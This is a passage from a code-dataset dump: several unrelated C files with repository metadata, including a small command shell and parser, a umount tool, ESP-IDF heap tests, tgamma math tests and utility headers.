"content_id": "3c3ba358425a8183b758fe750fc070b7f3a9c9d3",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "bda474b3a0053ad21103fccec1f7db4452ea9283",
"extension": "c",
"filename": "yiwen_int.c",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 334775835,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4765,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/src/yiwen_int.c",
"provenance": "stackv2-0123.json.gz:2653",
"repo_name": "yiwenxue/dlmodule",
"revision_date": "2021-06-04T21:40:45",
"revision_id": "cdeec8f1dfce77067d47d231e37df564b94165d3",
"snapshot_id": "abb517939389990c61369f1849d649e7c5754124",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/yiwenxue/dlmodule/cdeec8f1dfce77067d47d231e37df564b94165d3/src/yiwen_int.c",
"visit_date": "2023-04-27T00:21:49.732824"
} | stackv2 | #include "../include/yiwen_int.h"
int inter_state = 0;
int inter_ifexit = 0;
int inter_init()
{
history_store = history_store_null;
return 0;
}
int readlinen(char *str, int len)
{
int i = 0;
char chr = 0;
while (1) {
if (i >= len) {
while ((fgetc(stdin)) != '\n')
;
warning("Warning: Input line is larger than the buffer");
break;
}
chr = fgetc(stdin);
str[i] = chr;
if (!(chr - '\n')) {
break;
}
if (chr == EOF) {
return -1;
}
i++;
}
str[i] = '\0';
return i;
}
void show_pwd()
{
char cwd[PATH_MAX];
if (getcwd(cwd, PATH_MAX) != NULL) {
printf("%s", cwd);
}
}
void show_time() { timestamp_std(stdout); }
void show_shellstate()
{
if (inter_state == 0)
printf(C_GREEN "Y" C_DEFAULT);
else
printf(C_RED "N" C_DEFAULT);
}
void show_prompt(char *pmpt)
{
int len = strlen(pmpt);
int i = 0;
while (i < len) {
if (pmpt[i++] == '%') {
if (pmpt[i] == 'd') {
show_pwd();
}
else if (pmpt[i] == 't') {
show_time();
}
else if (pmpt[i] == 's') {
show_shellstate();
}
i++;
}
else {
putc(pmpt[i - 1], stdout);
}
}
}
int inter_run(int argc, char **argv)
{
if (argc < 2) {
printf(
"Usage:\n"
" <%s> <bash command>\n",
argv[0]);
return -1;
}
char cmd[INT_CMD_BUFFER] = {0};
for (int i = 1; i < argc; ++i) {
strcat(cmd, argv[i]);
strcat(cmd, " ");
}
inter_state = system(cmd);
return 0;
}
int inter_help(int argc, char **argv)
{
extern struct cmd_list_h *cmd_list_main_hp;
if (argc == 1) {
printf("Usage:\n");
struct command *var;
LIST_FOREACH(var, cmd_list_main_hp, cmd_list)
{
printf(" %-10s %s\n", var->name, var->desc);
}
}
else if (argc == 2) {
if (strncmp(argv[1], "help", 4) == 0 ||
strncmp(argv[1], "-h", 2) == 0) {
printf(
"Usage:\n"
" <%s> command show the help information of a "
"specific command.\n"
" -h | help show this help page.\n",
argv[0]);
}
else {
struct command *var;
LIST_FOREACH(var, cmd_list_main_hp, cmd_list)
{
if (strncmp(var->name, argv[1], strlen(argv[1])) == 0)
var->commanddata->evh(1, argv + 1);
}
}
}
return 0;
}
int inter_exit(int argc, char **argv)
{
inter_ifexit = 1;
return 0;
}
void parser(struct cmd_list_h *cmd_list_hp, char *cmd, int len)
{
if (strlen(cmd) == 0) {
inter_state = -1;
goto parser_exit;
}
char cmdline[1024];
memcpy(cmdline, cmd, len);
unescapen(cmdline, INT_CMD_BUFFER);
char *args[255] = {0};
char argn;
argn = split(cmdline, args, 255);
#if debug
printf(" [parser] %d ", argn);
for (int i = 0; i < argn; i++) {
printf("<%d:%s> ", i, args[i]);
}
puts("");
#endif
char fullcmd[1024] = {0};
for (int i = 0; i < argn; i++) {
strcat(fullcmd, args[i]);
strcat(fullcmd, " ");
}
history_store(fullcmd, strnlen(fullcmd, 1024));
if (argn != 0) {
struct command *var;
LIST_FOREACH(var, cmd_list_hp, cmd_list)
{
if (strncmp(var->name, args[0], 255) == 0) {
inter_state = var->commanddata->evh(argn, args);
/* if (var->handle == NULL || var->commanddata == NULL){ */
/* printf(" [cmd] data lost here!!\n"); */
/* } */
goto parser_exit;
}
}
}
inter_state = -1;
printf(" [parser] Command not found: %s\n", cmdline);
parser_exit:
return;
}
void history_store_null(char *cmd, int len) {}
int print_usage(const int argc, const char **argv, struct optdata data)
{
printf(
"Usage: \n %s <opt> <arg>\n"
"%s\n",
argv[0], data.descript);
int i = 0;
while (1) {
if (data.opts[i].name != NULL)
printf("\t-%c, --%-15s %s\n", data.opts[i].val,
data.opts[i].name, data.descs[i]);
else
break;
i++;
}
return 0;
}
void print_version(const unsigned char major, const unsigned char minor,
const unsigned char patch)
{
fprintf(stdout, "VERSION: %d.%d.%d\n", major, minor, patch);
}
| 2.34375 | 2 |
2024-11-18T22:21:45.639089+00:00 | 2020-10-16T12:29:51 | b24d4e0ea02339ec765a9139d94856a772f2b78e | {
"blob_id": "b24d4e0ea02339ec765a9139d94856a772f2b78e",
"branch_name": "refs/heads/master",
"committer_date": "2020-10-16T12:29:51",
"content_id": "d524364fee1e236df6a57c660cbdc9fef6fa8805",
"detected_licenses": [
"Zlib"
],
"directory_id": "439facf7f9da7b96aa260d1c3012f94c39df865d",
"extension": "c",
"filename": "umount.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 232320573,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 302,
"license": "Zlib",
"license_type": "permissive",
"path": "/progs/base/sbin/umount.c",
"provenance": "stackv2-0123.json.gz:2914",
"repo_name": "alnyan/ygg-userspace",
"revision_date": "2020-10-16T12:29:51",
"revision_id": "d64e99b4966eafefee1add1ad8e71c6633b13378",
"snapshot_id": "06d8f519b9dc0c0c891fb9ae166fd1f82a50e404",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/alnyan/ygg-userspace/d64e99b4966eafefee1add1ad8e71c6633b13378/progs/base/sbin/umount.c",
"visit_date": "2020-12-06T03:01:18.524741"
} | stackv2 | #include <sys/mount.h>
#include <stdio.h>
#include <err.h>
int main(int argc, char **argv) {
int res;
if (argc != 2) {
fprintf(stderr, "Usage: umount dir\n");
return -1;
}
if ((res = umount(argv[1])) != 0) {
err("umount(%s)", argv[1]);
}
return 0;
}
| 2.40625 | 2 |
2024-11-18T22:21:45.745673+00:00 | 2022-06-07T18:31:24 | 38a4227eb735527e2953da2a5c5500f7dea63e06 | {
"blob_id": "38a4227eb735527e2953da2a5c5500f7dea63e06",
"branch_name": "refs/heads/main",
"committer_date": "2022-06-07T18:31:24",
"content_id": "4cda558ec35a34f0468828a65cc9ee379c4aab8e",
"detected_licenses": [
"Apache-2.0",
"MIT-0",
"MIT"
],
"directory_id": "4b61201d0582bf0eaea812484e11d2d114c79997",
"extension": "c",
"filename": "test_malloc_caps.c",
"fork_events_count": 22,
"gha_created_at": "2019-08-12T22:30:02",
"gha_event_created_at": "2023-01-02T03:23:49",
"gha_language": "C",
"gha_license_id": "MIT-0",
"github_id": 202018591,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5382,
"license": "Apache-2.0,MIT-0,MIT",
"license_type": "permissive",
"path": "/device_firmware/vendors/espressif/esp-idf/components/heap/test/test_malloc_caps.c",
"provenance": "stackv2-0123.json.gz:3043",
"repo_name": "aws-samples/connected-drink-dispenser-workshop",
"revision_date": "2022-06-07T18:31:24",
"revision_id": "1d86c7be92b0132615686ae27142a7e9acdc7c51",
"snapshot_id": "5bba6972202e4e51783689aaf0e96957bd1da52d",
"src_encoding": "UTF-8",
"star_events_count": 45,
"url": "https://raw.githubusercontent.com/aws-samples/connected-drink-dispenser-workshop/1d86c7be92b0132615686ae27142a7e9acdc7c51/device_firmware/vendors/espressif/esp-idf/components/heap/test/test_malloc_caps.c",
"visit_date": "2023-01-13T06:44:38.035684"
} | stackv2 | /*
Tests for the capabilities-based memory allocator.
*/
#include <esp_types.h>
#include <stdio.h>
#include "unity.h"
#include "esp_attr.h"
#include "esp_heap_caps.h"
#include "esp_spi_flash.h"
#include <stdlib.h>
#include <sys/param.h>
TEST_CASE("Capabilities allocator test", "[heap]")
{
char *m1, *m2[10];
int x;
size_t free8start, free32start, free8, free32;
/* It's important we printf() something before we take the empty heap sizes,
as the first printf() in a task allocates heap resources... */
printf("Testing capabilities allocator...\n");
free8start = heap_caps_get_free_size(MALLOC_CAP_8BIT);
free32start = heap_caps_get_free_size(MALLOC_CAP_32BIT);
printf("Free 8bit-capable memory (start): %dK, 32-bit capable memory %dK\n", free8start, free32start);
TEST_ASSERT(free32start>free8start);
printf("Allocating 10K of 8-bit capable RAM\n");
m1= heap_caps_malloc(10*1024, MALLOC_CAP_8BIT);
printf("--> %p\n", m1);
free8 = heap_caps_get_free_size(MALLOC_CAP_8BIT);
free32 = heap_caps_get_free_size(MALLOC_CAP_32BIT);
printf("Free 8bit-capable memory (both reduced): %dK, 32-bit capable memory %dK\n", free8, free32);
//Both should have gone down by 10K; 8bit capable ram is also 32-bit capable
TEST_ASSERT(free8<(free8start-10*1024));
TEST_ASSERT(free32<(free32start-10*1024));
//Assume we got DRAM back
TEST_ASSERT((((int)m1)&0xFF000000)==0x3F000000);
free(m1);
//The goal here is to allocate from IRAM. Since there is no external IRAM (yet)
//the following gives size of IRAM-only (not D/IRAM) memory.
size_t free_iram = heap_caps_get_free_size(MALLOC_CAP_INTERNAL) -
heap_caps_get_free_size(MALLOC_CAP_8BIT | MALLOC_CAP_INTERNAL);
size_t alloc32 = MIN(free_iram / 2, 10*1024) & (~3);
printf("Freeing; allocating %u bytes of 32K-capable RAM\n", alloc32);
m1 = heap_caps_malloc(alloc32, MALLOC_CAP_32BIT);
printf("--> %p\n", m1);
//Check that we got IRAM back
TEST_ASSERT((((int)m1)&0xFF000000)==0x40000000);
free8 = heap_caps_get_free_size(MALLOC_CAP_8BIT);
free32 = heap_caps_get_free_size(MALLOC_CAP_32BIT);
printf("Free 8bit-capable memory (after 32-bit): %dK, 32-bit capable memory %dK\n", free8, free32);
//Only 32-bit should have gone down by alloc32: 32-bit isn't necessarily 8bit capable
TEST_ASSERT(free32<(free32start-alloc32));
TEST_ASSERT(free8==free8start);
free(m1);
printf("Allocating impossible caps\n");
m1= heap_caps_malloc(10*1024, MALLOC_CAP_8BIT|MALLOC_CAP_EXEC);
printf("--> %p\n", m1);
TEST_ASSERT(m1==NULL);
printf("Testing changeover iram -> dram");
// priorities will exhaust IRAM first, then start allocating from DRAM
for (x=0; x<10; x++) {
m2[x]= heap_caps_malloc(alloc32, MALLOC_CAP_32BIT);
printf("--> %p\n", m2[x]);
}
TEST_ASSERT((((int)m2[0])&0xFF000000)==0x40000000);
TEST_ASSERT((((int)m2[9])&0xFF000000)==0x3F000000);
printf("Test if allocating executable code still gives IRAM, even with dedicated IRAM region depleted\n");
// (the allocation should come from D/IRAM)
free_iram = heap_caps_get_free_size(MALLOC_CAP_EXEC);
m1= heap_caps_malloc(MIN(free_iram / 2, 10*1024), MALLOC_CAP_EXEC);
printf("--> %p\n", m1);
TEST_ASSERT((((int)m1)&0xFF000000)==0x40000000);
free(m1);
for (x=0; x<10; x++) free(m2[x]);
printf("Done.\n");
}
TEST_CASE("heap_caps metadata test", "[heap]")
{
/* need to print something as first printf allocates some heap */
printf("heap_caps metadata test\n");
heap_caps_print_heap_info(MALLOC_CAP_8BIT);
heap_caps_print_heap_info(MALLOC_CAP_32BIT);
multi_heap_info_t original;
heap_caps_get_info(&original, MALLOC_CAP_8BIT);
void *b = heap_caps_malloc(original.largest_free_block, MALLOC_CAP_8BIT);
TEST_ASSERT_NOT_NULL(b);
printf("After allocating %d bytes:\n", original.largest_free_block);
heap_caps_print_heap_info(MALLOC_CAP_8BIT);
multi_heap_info_t after;
heap_caps_get_info(&after, MALLOC_CAP_8BIT);
TEST_ASSERT(after.largest_free_block < original.largest_free_block);
TEST_ASSERT(after.total_free_bytes < original.total_free_bytes);
free(b);
heap_caps_get_info(&after, MALLOC_CAP_8BIT);
/* Allow some leeway here, because LWIP sometimes allocates up to 144 bytes in the background
as part of timer management.
*/
TEST_ASSERT_INT32_WITHIN(200, after.total_free_bytes, original.total_free_bytes);
TEST_ASSERT_INT32_WITHIN(200, after.largest_free_block, original.largest_free_block);
TEST_ASSERT(after.minimum_free_bytes < original.total_free_bytes);
}
/* Small function runs from IRAM to check that malloc/free/realloc
all work OK when cache is disabled...
*/
static IRAM_ATTR __attribute__((noinline)) bool iram_malloc_test()
{
spi_flash_guard_get()->start(); // Disables flash cache
bool result = true;
void *x = heap_caps_malloc(64, MALLOC_CAP_32BIT);
result = result && (x != NULL);
void *y = heap_caps_realloc(x, 32, MALLOC_CAP_32BIT);
result = result && (y != NULL);
heap_caps_free(y);
spi_flash_guard_get()->end(); // Re-enables flash cache
return result;
}
TEST_CASE("heap_caps_xxx functions work with flash cache disabled", "[heap]")
{
TEST_ASSERT( iram_malloc_test() );
}
| 2.75 | 3 |
2024-11-18T22:21:45.812418+00:00 | 2021-10-14T20:23:36 | 404dedfbfbfbf8462ec6c874f2fbce2f041fa457 | {
"blob_id": "404dedfbfbfbf8462ec6c874f2fbce2f041fa457",
"branch_name": "refs/heads/main",
"committer_date": "2021-10-14T20:23:36",
"content_id": "c9ec853057d5e4976701a96eb774c00df32fcfe1",
"detected_licenses": [
"MIT"
],
"directory_id": "b1ab412873b302728fcd107a716362254ac1bcf0",
"extension": "c",
"filename": "42_function_strchr.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 412001843,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 354,
"license": "MIT",
"license_type": "permissive",
"path": "/estudos_em_C/42_function_strchr.c",
"provenance": "stackv2-0123.json.gz:3172",
"repo_name": "rodrigowe1988/gnl_get_next_line_42",
"revision_date": "2021-10-14T20:23:36",
"revision_id": "b8d58476a8aa6907a867c4e3c78bcf837dc0db52",
"snapshot_id": "24d5edc293d37d8d5a9b4eb86df9478b514253d5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/rodrigowe1988/gnl_get_next_line_42/b8d58476a8aa6907a867c4e3c78bcf837dc0db52/estudos_em_C/42_function_strchr.c",
"visit_date": "2023-08-17T21:56:01.371469"
} | stackv2 | #include <stdio.h>
char *ft_strchr(const char *str, int n);
int main(void)
{
char *str = "meu teste.com.br teste";
printf("String after the [%c] is - |%s|\n", ' ', ft_strchr(str, ' '));
return (0);
}
char *ft_strchr(const char *str, int n)
{
while (*str != (char)n)
{
if (*str == 0)
return (NULL);
str++;
}
return ((char *)(str));
}
| 3.46875 | 3 |
2024-11-18T22:21:45.924711+00:00 | 2017-01-01T22:39:28 | 9b22e4940a55272788444ae24a5a910fcde7e0bf | {
"blob_id": "9b22e4940a55272788444ae24a5a910fcde7e0bf",
"branch_name": "refs/heads/master",
"committer_date": "2017-01-01T22:39:28",
"content_id": "e207d6c8cb33b2c0d4965bae5b58e56e28468065",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "1b2e24713b63620709e5a181eb93edeed526291e",
"extension": "c",
"filename": "t_tgamma.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 146086916,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7187,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/math/t_tgamma.c",
"provenance": "stackv2-0123.json.gz:3304",
"repo_name": "ekamperi/mathlib",
"revision_date": "2017-01-01T22:39:28",
"revision_id": "fff08a6944170fd8e4c396e24b73e511ad06236b",
"snapshot_id": "aed0473d65f8f6653d1dbe0b93feeeb5e953d5b2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ekamperi/mathlib/fff08a6944170fd8e4c396e24b73e511ad06236b/math/t_tgamma.c",
"visit_date": "2020-03-27T06:11:41.140829"
} | stackv2 | #define _XOPEN_SOURCE 600
#include <atf-c.h>
#include <errno.h>
#include <float.h> /* for DBL_MAX */
#include <math.h>
#include "config.h"
#include "subr_atf.h"
#include "subr_errhandling.h"
#include "subr_fpcmp.h"
#include "subr_random.h"
#include "t_tgamma.h"
/*
* Test case 1 -- Basic functionality
*/
ATF_TC(test_tgamma1);
ATF_TC_HEAD(test_tgamma1, tc)
{
atf_tc_set_md_var(tc,
"descr",
"Basic functionality based on a set of good (x, tgamma(x)) pairs");
}
ATF_TC_BODY(test_tgamma1, tc)
{
size_t i, N;
/* double */
N = sizeof(t1dtable) / sizeof(t1dtable[0]);
ATF_REQUIRE(N > 0);
for (i = 0; i < N; i++)
ATF_CHECK(fpreal_equal(
tgamma(t1dtable[i].x),
t1dtable[i].y));
/* long double */
#ifdef HAVE_TGAMMAL
N = sizeof(t1ldtable) / sizeof(t1ldtable[0]);
ATF_REQUIRE(N > 0);
for (i = 0; i < N; i++)
ATF_CHECK(fpreal_equall(
tgammal(t1ldtable[i].x),
t1ldtable[i].y));
#endif
}
/*
* Test case 2 -- Identities
*/
ATF_TC(test_tgamma2);
ATF_TC_HEAD(test_tgamma2, tc)
{
atf_tc_set_md_var(tc,
"descr",
"Check if G(z+1) = zG(z) identity holds for random input");
}
ATF_TC_BODY(test_tgamma2, tc)
{
long i, N, cnt;
int haserrexcept;
int haserrno;
/*
* We can't proceed if there's no way to detect errors,
* especially overflows.
*/
query_errhandling(&haserrexcept, &haserrno);
ATF_REQUIRE(haserrexcept || haserrno);
/* First for real numbers */
init_randgen();
N = atf_tc_get_config_var_as_long(tc, "iterations");
ATF_REQUIRE(N > 0);
cnt = 0;
ATF_FOR_LOOP(i, N, i++) {
errno = 0;
clear_exceptions();
double z, g0, g1;
z = random_double(FP_NORMAL);
g0 = tgamma(z);
g1 = tgamma(z+1);
/* If there was an error, just skip this value */
if (raised_exceptions(MY_FE_ALL_EXCEPT) || errno)
continue;
ATF_PASS_OR_BREAK(fpreal_equal(g1, z*g0));
++cnt;
}
ATF_CHECK(cnt > i/2);
}
/*
* Test case 3 -- Edge cases
*/
ATF_TC(test_tgamma3);
ATF_TC_HEAD(test_tgamma3, tc)
{
atf_tc_set_md_var(tc,
"descr",
"Check some edge cases");
}
ATF_TC_BODY(test_tgamma3, tc)
{
/* If x is NaN, a NaN shall be returned */
ATF_CHECK_IFNAN(tgamma(NAN));
ATF_CHECK_IFNAN(tgammaf(NAN));
#ifdef HAVE_TGAMMAL
ATF_CHECK_IFNAN(tgammal(NAN));
#endif /* HAVE_TGAMMAL */
/* If x is +Inf, x shall be returned */
#ifdef INFINITY
ATF_CHECK(isinf(tgamma(INFINITY)));
ATF_CHECK(isinf(tgammaf(INFINITY)));
#ifdef HAVE_TGAMMAL
ATF_CHECK(isinf(tgammal(INFINITY)));
#endif /* HAVE_TGAMMAL */
#endif
#ifdef HUGE_VAL
ATF_CHECK(isinf(tgamma(HUGE_VAL)));
ATF_CHECK(isinf(tgammaf(HUGE_VAL)));
#ifdef HAVE_TGAMMAL
ATF_CHECK(isinf(tgammal(HUGE_VAL)));
#endif /* HAVE_TGAMMAL */
#endif
#ifdef HUGE_VALF
ATF_CHECK(isinf(tgamma(HUGE_VALF)));
ATF_CHECK(isinf(tgammaf(HUGE_VAL)));
#ifdef HAVE_TGAMMAL
ATF_CHECK(isinf(tgammal(HUGE_VALL)));
#endif /* HAVE_TGAMMAL */
#endif
#ifdef HUGE_VALL
ATF_CHECK(isinf(tgamma(HUGE_VALL)));
ATF_CHECK(isinf(tgammaf(HUGE_VALF)));
#ifdef HAVE_TGAMMAL
ATF_CHECK(isinf(tgammal(HUGE_VALL)));
#endif /* HAVE_TGAMMAL */
#endif
}
/*
* Test case 4 -- Pole error
*/
long t4table[] = { +0.0, -0.0 };
ATF_TC(test_tgamma4);
ATF_TC_HEAD(test_tgamma4, tc)
{
atf_tc_set_md_var(tc,
"descr",
"If x is +-0, a pole error shall occur");
}
ATF_TC_BODY(test_tgamma4, tc)
{
float fy;
double dy;
long double ldy;
int haserrexcept;
int haserrno;
int i;
for (i = 0; i < 2; i++ ) {
/* float */
errno = 0;
clear_exceptions();
fy = tgammaf((float)t4table[i]);
#ifdef HUGE_VALF
ATF_CHECK(fy == HUGE_VALF);
#endif
ATF_CHECK(errno_equalto(ERANGE));
ATF_CHECK(raised_exceptions(MY_FE_DIVBYZERO));
/* double */
errno = 0;
clear_exceptions();
dy = tgamma((double)t4table[i]);
#ifdef HUGE_VAL
ATF_CHECK(dy == HUGE_VAL);
#endif
ATF_CHECK(errno_equalto(ERANGE));
ATF_CHECK(raised_exceptions(MY_FE_DIVBYZERO));
/* long double */
#ifdef HAVE_TGAMMAL
errno = 0;
clear_exceptions();
ldy = tgammal(t4table[i]);
#ifdef HUGE_VALL
ATF_CHECK(ldy == HUGE_VALL);
#endif
ATF_CHECK(errno_equalto(ERANGE));
ATF_CHECK(raised_exceptions(MY_FE_DIVBYZERO));
#endif /* HAVE_TGAMMAL */
}
/*
* Revenge is a Dish Best Served Cold :)
*
* We put this check here and not in the beginning of the test case,
* because we don't want the lack of error handling support to
* block the check against HUGE_VAL*. Nor do we want to split the test
* case into 2.
*/
query_errhandling(&haserrexcept, &haserrno);
ATF_REQUIRE(haserrexcept || haserrno);
}
/*
* Test case 5 -- Domain error
*/
static const long double
t5table[] = {
#ifdef INFINITY
-INFINITY,
#endif
#ifdef HUGE_VAL
-HUGE_VAL,
#endif
#ifdef HUGE_VALF
-HUGE_VALF,
#endif
#ifdef HUGE_VALL
-HUGE_VALL
#endif
};
ATF_TC(test_tgamma5);
ATF_TC_HEAD(test_tgamma5, tc)
{
atf_tc_set_md_var(tc,
"descr",
"If x is -Inf, a domain error shall occur");
}
ATF_TC_BODY(test_tgamma5, tc)
{
int haserrexcept;
int haserrno;
int i, N;
float fy;
double dy;
long double ldy;
N = sizeof(t5table) / sizeof(t5table[0]);
ATF_REQUIRE(N > 0);
for (i = 0; i < N; i++) {
/* float */
errno = 0;
clear_exceptions();
fy = tgammaf((float)t5table[i]);
ATF_CHECK_IFNAN(fy);
ATF_CHECK(errno_equalto(EDOM));
ATF_CHECK(raised_exceptions(MY_FE_INVALID));
/* double */
errno = 0;
clear_exceptions();
dy = tgamma((double)t5table[i]);
ATF_CHECK_IFNAN(dy);
ATF_CHECK(errno_equalto(EDOM));
ATF_CHECK(raised_exceptions(MY_FE_INVALID));
/* long double */
#ifdef HAVE_TGAMMAL
errno = 0;
clear_exceptions();
ldy = tgammal(t5table[i]);
ATF_CHECK_IFNAN(ldy);
ATF_CHECK(errno_equalto(EDOM));
ATF_CHECK(raised_exceptions(MY_FE_INVALID));
#endif
}
/*
* Revenge is a Dish Best Served Cold :)
*
* We put this check here and not in the beginning of the test case,
* because we don't want the lack of error handling support to
* block the check against NANs. Nor do we want to split the test
* case into 2.
*/
query_errhandling(&haserrexcept, &haserrno);
ATF_REQUIRE(haserrexcept || haserrno);
}
/*
* Test case 6 -- Deliberate overflow
*/
ATF_TC(test_tgamma6);
ATF_TC_HEAD(test_tgamma6, tc)
{
atf_tc_set_md_var(tc,
"descr",
"For IEEE Std 754-1985 double, overflow happens when "
"0 < x < 1/DBL_MAX, and 171.7 < x");
}
ATF_TC_BODY(test_tgamma6, tc)
{
double x;
long i, N;
int haserrexcept;
int haserrno;
/*
* We can't proceed if there's no way to detect errors,
* especially overflows.
*/
query_errhandling(&haserrexcept, &haserrno);
ATF_REQUIRE(haserrexcept || haserrno);
N = atf_tc_get_config_var_as_long(tc, "iterations");
ATF_REQUIRE(N > 0);
ATF_FOR_LOOP(i, N, i++) {
do {
x = random_double(FP_NORMAL);
} while (x <= 171.7 && (x <= 0 || x >= 1/DBL_MAX));
errno = 0;
clear_exceptions();
(void)tgamma(x);
ATF_PASS_OR_BREAK(errno_equalto(ERANGE));
ATF_PASS_OR_BREAK(raised_exceptions(MY_FE_OVERFLOW));
}
}
/* Add test cases to test program */
ATF_TP_ADD_TCS(tp)
{
ATF_TP_ADD_TC(tp, test_tgamma1);
ATF_TP_ADD_TC(tp, test_tgamma2);
ATF_TP_ADD_TC(tp, test_tgamma3);
ATF_TP_ADD_TC(tp, test_tgamma4);
ATF_TP_ADD_TC(tp, test_tgamma5);
ATF_TP_ADD_TC(tp, test_tgamma6);
return atf_no_error();
}
| 2.4375 | 2 |
2024-11-18T22:21:46.104198+00:00 | 2018-02-02T05:42:51 | e5cb77639af45e33e82397d79233d58ec9de8901 | {
"blob_id": "e5cb77639af45e33e82397d79233d58ec9de8901",
"branch_name": "refs/heads/master",
"committer_date": "2018-02-02T05:42:51",
"content_id": "83079f8be6004e490c1c453dd97be64851a36185",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "4ffd28f10fe5b3dcf3285ab174fefa2aee886bb5",
"extension": "h",
"filename": "queues.h",
"fork_events_count": 5,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 119342243,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1336,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/queues.h",
"provenance": "stackv2-0123.json.gz:3561",
"repo_name": "vsch/stm8-multi-tasker",
"revision_date": "2018-02-02T05:42:51",
"revision_id": "f51cc5aa353903cfa625546323d6ad5394dd068f",
"snapshot_id": "167ad4d56a5974de5b30d01f1bf92b2ec651d267",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/vsch/stm8-multi-tasker/f51cc5aa353903cfa625546323d6ad5394dd068f/queues.h",
"visit_date": "2023-08-14T10:15:14.440640"
} | stackv2 | //
// Created by Vladimir Schneider on 2018-01-28.
//
#include "stdint.h"
#ifndef MULTI_TASKER_QUEUES_H
typedef struct QNode QNode, QList;
struct QNode
{
union
{
QNode *prev;
QNode *next;
};
union
{
QNode *head;
QNode *tail;
};
};
// for asm code, offsets to structure's fields
#define QPREV 0
#define QNEXT 2
#define QTAIL QPREV
#define QHEAD QNEXT
// synonyms for asm code
#define __QNodeLinkTailInXY __QNodeLinkPrevInXY
#define __QNodeLinkHeadInXY __QNodeLinkNextInXY
#pragma callee_saves QInitNodes, QNodeUnlink, QNodeIsEmpty, QNodeLinkPrev, QNodeLinkTail, QNodeLinkNext, QNodeLinkHead
extern void QInitNode(QNode *node); // initialize node
extern void QNodeUnlink(QNode *node); // unlink node, if has prev then node.prev->next = node.next, if has next then node.next->prev = node.prev
extern uint8_t QNodeIsEmpty(QNode *node); // return 0 if empty
extern void QNodeLinkPrev(QNode *node, QNode *other); // link Y before X
extern void QNodeLinkTail(QList *queue, QNode *node); // link Y at tail of queue (same as link before)
extern void QNodeLinkNext(QNode *node, QNode *other); // link Y after X
extern void QNodeLinkHead(QList *queue, QNode *node); // link Y at head of queue (same as link after0
#define MULTI_TASKER_QUEUES_H
#endif //MULTI_TASKER_QUEUES_H
| 2.046875 | 2 |
2024-11-18T22:21:46.393908+00:00 | 2023-08-09T01:30:11 | 182221487410e5669f99ca10ea0e0369cc59e452 | {
"blob_id": "182221487410e5669f99ca10ea0e0369cc59e452",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-09T01:30:11",
"content_id": "f5d59187ac11e8e0c404d30092abeaf9a83e12bf",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "57e03c3f73f572bdc9fda27f3718e29c81c5fbb2",
"extension": "h",
"filename": "strnum.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 228753926,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1934,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/cx/string/strnum.h",
"provenance": "stackv2-0123.json.gz:3948",
"repo_name": "Number5ix/cx",
"revision_date": "2023-08-09T01:30:11",
"revision_id": "ee54c0bf978a3dedb446ddb4044dd49f69571b44",
"snapshot_id": "56d4156a57461d83e4f12c8d914e4f5853aba6d0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Number5ix/cx/ee54c0bf978a3dedb446ddb4044dd49f69571b44/cx/string/strnum.h",
"visit_date": "2023-08-10T00:06:14.662663"
} | stackv2 | #pragma once
#include <cx/string/strbase.h>
CX_C_BEGIN
// Convert a string to a number
// strict indicates whether the entire string must be a number or if
// it may be followed by non-numeric characters
// NOTE: Unlike typical C library functions, a leading 0 does NOT imply base 8.
// Base 10 is the default unless otherwise specified, or the string begins with "0x".
bool strToInt32(int32 *out, strref s, int base, bool strict);
bool strToUInt32(uint32 *out, strref s, int base, bool strict);
bool strToInt64(int64 *out, strref s, int base, bool strict);
bool strToUInt64(uint64 *out, strref s, int base, bool strict);
bool strFromInt32(string *out, int32 i, uint16 base);
bool strFromUInt32(string *out, uint32 i, uint16 base);
bool strFromInt64(string *out, int64 i, uint16 base);
bool strFromUInt64(string *out, uint64 i, uint16 base);
bool strToFloat32(float32 *out, strref s, bool strict);
bool strToFloat64(float64 *out, strref s, bool strict);
bool strFromFloat32(string *out, float32 f);
bool strFromFloat64(string *out, float64 f);
// digit conversion internals, for format module or similar uses
// must contain enough characters to represent a 64-bit integer in base 2
// with preceding sign and null terminator
#define STRNUM_INTBUF 66
uint8 *_strnum_u64toa(uint8 buf[STRNUM_INTBUF], uint32 *len, uint64 val, uint16 base, uint32 mindigits, char sign, bool upper);
// 18 floating point digits is the maximum representable with 53 bit mantissa
#define STRNUM_FPDIGITS 18
// includes sign, scientific notation, and null terminator
#define STRNUM_FPBUF 25
// higher level interface -- gets actual number
